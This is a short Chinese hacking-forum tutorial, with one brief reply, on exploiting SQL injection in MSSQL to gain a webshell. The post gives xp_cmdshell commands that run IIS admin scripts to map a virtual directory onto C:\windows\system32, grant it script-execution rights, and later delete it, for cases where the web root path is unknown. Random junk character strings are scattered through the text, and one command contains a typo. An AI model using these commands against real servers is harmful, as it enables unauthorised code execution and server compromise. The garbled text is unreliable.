[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：; j4 r$ u5 C4 z+ z" S7 a
* a, G4 }! s1 C' }1 K  J; P; j
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
& h: V1 h& x( V* X; o建立虚拟目录win,指向c:\windows\system328 ~  a, i0 X/ Z, }8 z. n2 c8 P
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'5 e% r; t( U! Q0 y: q
让win句有解析asp脚本权限
; K& p: l0 n9 w: |+ t6 l, q1 a6 @8 c; D  O' \+ x7 C+ A
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
) X8 r! L6 v4 c6 W/ Y删除虚拟目录。
# |5 e5 Z& ^# l# R% O找不到web绝对路径的一种解决办法，
. {8 {% z# ]  O( _1 j$ x) F
& f+ g8 y; A6 i1 P0 _$ L9 j! O  [403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊